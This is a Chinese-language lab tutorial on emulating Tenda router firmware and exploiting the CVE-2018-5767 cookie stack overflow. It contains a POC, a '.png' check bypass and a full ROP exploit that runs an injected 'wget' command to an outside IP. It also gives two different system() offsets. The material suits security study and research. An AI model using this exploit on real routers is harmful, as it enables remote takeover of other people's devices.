某路由器固件模拟分析及栈溢出漏洞分析
字数 1704 2025-08-26 22:11:40
路由器固件模拟分析及栈溢出漏洞利用教学文档
1. 概述
本教学文档详细介绍了Tenda路由器固件模拟分析过程以及栈溢出漏洞(CVE-2018-5767)的利用方法。文档包含固件模拟环境搭建、网络环境修复、漏洞分析及利用的全过程。
2. 固件模拟环境搭建
2.1 准备工作
-
获取固件:
- 从IoT-vulhub仓库下载:https://github.com/VulnTotal-Team/IoT-vulhub/tree/master/Tenda/CVE-2018-5767/firmware
-
提取固件:
binwalk -Me 固件 cd squashroot -
准备qemu-arm模拟环境:
cp $(which qemu-arm-static) ./ sudo chroot . ./qemu-arm-static ./bin/httpd
2.2 初始运行问题分析
运行httpd后会卡在启动界面,通过IDA分析原因:
- 在IDA中搜索字符串"Welcome to..."定位到main函数
- 发现存在两个检查:
- 网络检查(network check):未通过则进入休眠
- 连接检查(connection check):未通过则打印连接失败
2.3 使用Keypatch进行patch
- 安装IDA Keypatch插件:
- https://github.com/keystone-engine/keypatch
- 对两处检查进行patch,使其跳过检查
3. 网络环境修复
3.1 IP地址问题分析
- 通过字符串"listen ip"定位到sub_1A36C函数
- 使用gdb分析调用链:
# 启动httpd并开启调试端口
sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd
# 另起终端连接gdb
gdb-multiarch
set architecture arm
b *0x1A36C
target remote :1234
bt
- 通过IDA和gdb结合分析,确定调用链:
sub_2CEA8(main函数) -> sub_2D3F0(initWebs函数) -> sub_28030 -> sub_28338 -> sub_1A36C
3.2 IP地址获取机制分析
-
分析getIfIp函数:
- 位于libcommon.so中
- 使用ioctl系统调用获取IP地址
- 调用方式:
ioctl(fd, 0x8915u, dest) - 0x8915对应SIOCGIFADDR,功能是获取接口地址
-
分析getLanIfName函数:
- 位于libcommon.so中
- 调用get_eth_name函数(位于libChipApi.so)
- 参数写死为0,返回网卡名称
-
完整流程:
- main函数调用getLanIfName -> get_eth_name获取网卡名称
- 将网卡名称(br0)传递给getIfIp获取IP地址
3.3 解决方案
-
创建br0网卡并配置IP:
sudo brctl addbr br0 sudo ifconfig br0 192.168.2.3/24 -
修复webroot:
cp -rf ./webroot_ro/* ./webroot/
4. 漏洞分析(CVE-2018-5767)
4.1 漏洞定位
- 漏洞位于R7WebsSecurityHandler函数
- 漏洞成因:
- 未限制用户输入的cookie长度
- sscanf解析参数时未限制长度,导致栈溢出
4.2 初始POC
import requests
url = "http://192.168.2.3/goform/xxx"
cookie = {"Cookie": "password=" + "A"*1000}
requests.get(url=url, cookies=cookie)
4.3 绕过检查
-
漏洞函数中存在对文件扩展名的检查:
- 查找"."号地址
- 通过memcmp判断是否为"gif、png、js、css、jpg、jpeg"
-
改进的POC:
import requests
url = "http://192.168.2.3/goform/xxx"
cookie = {"Cookie": "password=" + "A"*1000 + ".png"}
requests.get(url=url, cookies=cookie)
4.4 确定偏移量
- 使用cyclic模式确定偏移量为448
5. 漏洞利用
5.1 保护机制检查
- 使用checksec检查发现开启了NX保护
- 需要构造ROP链绕过NX
5.2 利用思路
-
找到system函数地址:
- 获取libc基址
- 计算system函数偏移(0x35cd4)
-
控制R0寄存器:
- 查找gadget:
mov r0, sp; blx r3 - 地址:0x00040cb8
- 查找gadget:
-
控制R3寄存器:
- 查找gadget:
pop {r3, pc} - 地址:0x00018298
- 查找gadget:
5.3 ROP链构造
payload结构:
padding + gadget1(pop {r3, pc}) + system_addr + gadget2(mov r0, sp; blx r3) + cmd
5.4 完整EXP
import requests
from pwn import *
cmd = "wget 192.168.174.136"
libc_base = 0xff5d5000
system_offset = 0x0005a270
system_addr = libc_base + system_offset
gadget1 = libc_base + 0x00018298
gadget2 = libc_base + 0x00040cb8
payload = "A"*444 + ".png" + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd
url = "http://192.168.2.3/goform/xxx"
cookie = {"Cookie": "password=" + payload}
requests.get(url=url, cookies=cookie)
5.5 注意事项
- 使用qemu-user模拟时需要加上-strace才能看到system函数执行:
sudo chroot . ./qemu-arm-static -strace ./bin/httpd
6. 总结
-
固件模拟关键点:
- 网络检查patch
- br0网卡创建
- webroot修复
-
漏洞分析要点:
- 定位漏洞函数
- 绕过安全检查
- 确定偏移量
-
漏洞利用技巧:
- ROP链构造
- 寄存器控制
- 参数传递
-
调试技巧:
- IDA静态分析
- gdb动态调试
- qemu-user模拟与系统模拟的选择
7. 参考工具
- IDA Pro:逆向分析
- Keypatch:IDA补丁插件
- binwalk:固件提取
- qemu-arm:模拟执行
- gdb-multiarch:调试
- ROPgadget:查找gadget
- Python requests:构造POC